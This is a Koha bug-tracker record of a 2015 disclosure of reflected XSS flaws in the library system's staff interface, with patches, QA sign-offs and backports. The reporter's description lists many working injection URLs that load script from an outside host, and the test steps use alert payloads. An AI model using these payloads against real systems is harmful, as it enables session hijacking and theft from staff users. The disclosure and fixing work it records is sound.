Bug 14423

Summary: Multiple XSS and XSRF issues in Staff Client
Product: Koha Reporter: Raschin Tavakoli <RGhanad-Tavakoli>
Component: Staff interfaceAssignee: Bugs List <koha-bugs>
Status: CLOSED FIXED QA Contact: Testopia <testopia>
Severity: major    
Priority: P5 - low CC: chris, dsimos, fridolin.somers, gmcharlt, jonathan.druart, katrin.fischer, liz, mtj, robin, tomascohen
Version: master   
Hardware: All   
OS: All   
Change sponsored?: --- Patch complexity: ---
Documentation contact: Documentation submission:
Text to go in the release notes:
Version(s) released in:
Bug Depends on:    
Bug Blocks: 13618, 14568    
Attachments: Screenshots
Bug 14423 : XSS in authorities-home
Bug 14423 : XSS bug in lateorders
Bug 14423 XSS bug in auth_subfields_structure
Bug 14423 : XSS issues in marc_subfields_structure
Bug 14423 : XSS bugs in catalogue search
Bug 14423 : Multiple XSS vulnerabilities in serials-search
Bug 14423 : Multiple XSS bugs in suggestion.pl
Bug 14423 : XSS in authorities-home
Bug 14423 : XSS bug in lateorders
Bug 14423 XSS bug in auth_subfields_structure
Bug 14423 : XSS issues in marc_subfields_structure
Bug 14423 : XSS bugs in catalogue search
Bug 14423 : Multiple XSS vulnerabilities in serials-search
Bug 14423 : Multiple XSS bugs in suggestion.pl
[PASSED QA] Bug 14423 : XSS in authorities-home
[PASSED QA] Bug 14423 : XSS bug in lateorders
[PASSED QA] Bug 14423 XSS bug in auth_subfields_structure
[PASSED QA] Bug 14423 : XSS issues in marc_subfields_structure
[PASSED QA] Bug 14423 : XSS bugs in catalogue search
[PASSED QA] Bug 14423 : Multiple XSS vulnerabilities in serials-search
[PASSED QA] Bug 14423 : Multiple XSS bugs in suggestion.pl
Bug 14423 - tab characters in auth_subfields_structure

Description Raschin Tavakoli 2015-06-19 14:35:43 UTC
Created attachment 40383 [details]
Screenshots

Multiple XSS and XSRF issues were found during our tests in the Staff client of Koha Libray. 

Here is a list of the findings, including working examples:

authorities-home.pl - parameter value:
http://testbox:9002/cgi-bin/koha/authorities/authorities-home.pl?op=do_search&type=intranet&marclist=mainentry&and_or=and&operator=contains&value="/><script src="http://cst.sba-research.org/x.js"/>

lateorders.pl - parameter delay:
http://testbox:9002/cgi-bin/koha/acqui/lateorders.pl?delay=<script src="http://cst.sba-research.org/x.js"></script>&estimateddeliverydatefrom=

auth_subfields_structure.pl - param authtypecode:
http://testbox:9002/cgi-bin/koha/admin/auth_subfields_structure.pl?op=add_form&authtypecode='<script src="http://cst.sba-research.org/x.js"/>&tagfield=000

auth_subfields_structure.pl - param tagfield:
http://testbox:9002/cgi-bin/koha/admin/auth_subfields_structure.pl?frameworkcode=&op=add_form&tagfield="/><script src="http://cst.sba-research.org/x.js"/>

marc_subfields_structure.pl - param tagfield:
http://testbox:9002/cgi-bin/koha/admin/marc_subfields_structure.pl?op=add_form&tagfield="/><script src="http://cst.sba-research.org/x.js"></script>

search.pl - param limit:
http://testbox:9002/cgi-bin/koha/catalogue/search.pl?limit=<script src="http://cst.sba-research.org/x.js"></script>

serials-search.pl - param bookseller_filter:
testbox:9002/cgi-bin/koha/serials/serials-search.pl?bookseller_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1&title_filter=

serials-search.pl - param callnumber_filter:
http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?callnumber_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1

serials-search.pl - param EAN_filter:
http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?EAN_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1

serials-search.pl - param ISSN_filter:
http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?ISSN_filter="""><<script src="http://cst.sba-research.org/x.js"></script>&searched=1

serials-search.pl - param publisher_filter:
http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?publisher_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1

serials-search.pl - param title_filter:
http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?title_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1

suggestion.pl - param author:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?author="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param collectiontitle:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?collectiontitle="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param copyrightdate:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?copyrightdate="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param isbn:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?isbn="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param manageddate_from:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?manageddate_from="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param manageddate_to:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?manageddate_to="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param publishercode:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?publishercode="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param suggesteddate_from:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?suggesteddate_from="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param suggesteddate_to:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?suggesteddate_to="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

---

Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research.
Contact: cst@sba-research.org
Comment 1 Chris Cormack 2015-06-21 08:12:43 UTC Comment hidden (obsolete)
Comment 2 Chris Cormack 2015-06-21 08:20:43 UTC Comment hidden (obsolete)
Comment 3 Chris Cormack 2015-06-21 08:36:42 UTC Comment hidden (obsolete)
Comment 4 Chris Cormack 2015-06-21 08:49:32 UTC Comment hidden (obsolete)
Comment 5 Chris Cormack 2015-06-21 09:11:12 UTC Comment hidden (obsolete)
Comment 6 Chris Cormack 2015-06-21 09:25:58 UTC Comment hidden (obsolete)
Comment 7 Chris Cormack 2015-06-21 09:41:32 UTC Comment hidden (obsolete)
Comment 8 Jonathan Druart 2015-06-22 09:46:55 UTC Comment hidden (obsolete)
Comment 9 Jonathan Druart 2015-06-22 09:47:01 UTC Comment hidden (obsolete)
Comment 10 Jonathan Druart 2015-06-22 09:47:08 UTC Comment hidden (obsolete)
Comment 11 Jonathan Druart 2015-06-22 09:47:11 UTC Comment hidden (obsolete)
Comment 12 Jonathan Druart 2015-06-22 09:47:14 UTC Comment hidden (obsolete)
Comment 13 Jonathan Druart 2015-06-22 09:47:18 UTC Comment hidden (obsolete)
Comment 14 Jonathan Druart 2015-06-22 09:47:21 UTC Comment hidden (obsolete)
Comment 16 Katrin Fischer 2015-06-22 21:04:24 UTC
Created attachment 40495 [details] [review]
[PASSED QA] Bug 14423 : XSS in authorities-home

To test:
1/ Hit a url like http://localhost:8081/cgi-bin/koha/authorities/authorities-home.pl?op=do_search&type=intranet&marclist=mainentry&and_or=and&operator=contains&value=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
2/ Notice you get 3 alert boxes
3/ Apply patch
4/ Hit the url again, no js

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 17 Katrin Fischer 2015-06-22 21:04:27 UTC
Created attachment 40496 [details] [review]
[PASSED QA] Bug 14423 : XSS bug in lateorders

1/ hit a url like http://localhost:8081/cgi-bin/koha/acqui/lateorders.pl?delay=<script>alert('oh noes')</script>&estimateddeliverydatefrom
2/ Not you get an alert box
3/ Apply patch notice it is fixed
4/ Test functionality still works

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 18 Katrin Fischer 2015-06-22 21:04:30 UTC
Created attachment 40497 [details] [review]
[PASSED QA] Bug 14423 XSS bug in auth_subfields_structure

1/ Hit a url like http://localhost:8081/cgi-bin/koha/admin/auth_subfields_structure.pl?op=add_form&authtypecode=%27%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&tagfield=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
2/ Notice a ton of alert boxes pop up
3/ Apply patch
4/ Reload url, no longer get any alerts
5/ Test fuctionality still works

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 19 Katrin Fischer 2015-06-22 21:04:33 UTC
Created attachment 40498 [details] [review]
[PASSED QA] Bug 14423 : XSS issues in marc_subfields_structure

1/ Hit a url like http://localhost:8081/cgi-bin/koha/admin/marc_subfields_structure.pl?op=add_form&tagfield=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
2/ Notice all the alert boxes
3/ Apply patch
4/ Reload page, no more alerts
5/ Test functionality still works

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 20 Katrin Fischer 2015-06-22 21:04:36 UTC
Created attachment 40499 [details] [review]
[PASSED QA] Bug 14423 : XSS bugs in catalogue search

To test

1/ hit a url like http://localhost:8081/cgi-bin/koha/catalogue/search.pl?limit=%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
2/ Notice alert boxes
3/ Apply patch
4/ Reload url, no alerts
5/ Check search still works

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 21 Katrin Fischer 2015-06-22 21:04:40 UTC
Created attachment 40500 [details] [review]
[PASSED QA] Bug 14423 : Multiple XSS vulnerabilities in serials-search

To test

1/ Hit a url like http://localhost:8081/cgi-bin/koha/serials/serials-search.pl?bookseller_filter=%22%22%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&searched=1&title_filter=
2/ Notice alert boxes
3/ Apply patch
4/ Reload, notice fixed

Repeat for
callnumber_filter
EAN_filter
ISSN_filter
publisher_filter
title_filter

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 22 Katrin Fischer 2015-06-22 21:04:43 UTC
Created attachment 40501 [details] [review]
[PASSED QA] Bug 14423 : Multiple XSS bugs in suggestion.pl

To test
1/ Hit a url like http://localhost:8081/cgi-bin/koha/suggestion/suggestion.pl?author=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&accepteddate_to=
2/ Notice alert box(es)
3/ Apply patch
4/ Reload and notice alert is gone

Repeat for
collection_title
copyrightdate
isbn
manageddate_from
manageddate_to
publishercode
suggesteddate_from
suggesteddate_to

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 23 Chris Cormack 2015-06-23 00:28:05 UTC
Pushed to 3.20.x will be in 3.20.1 (still need to go into master)
Comment 24 Liz Rea 2015-06-23 00:37:53 UTC
Created attachment 40503 [details] [review]
Bug 14423 - tab characters in auth_subfields_structure
Comment 25 Liz Rea 2015-06-23 01:54:43 UTC
Pushed to 3.18.x will be in 3.18.08
Comment 26 Fridolin Somers 2015-06-23 12:43:18 UTC
Pushed to 3.14.x, will be in 3.14.16
Comment 27 Tomás Cohen Arazi 2015-06-23 13:22:03 UTC
Patches pushed to master.

Thanks Chris!
Comment 28 Mason James 2015-06-23 14:05:26 UTC
Pushed to 3.16.x, will be in 3.16.12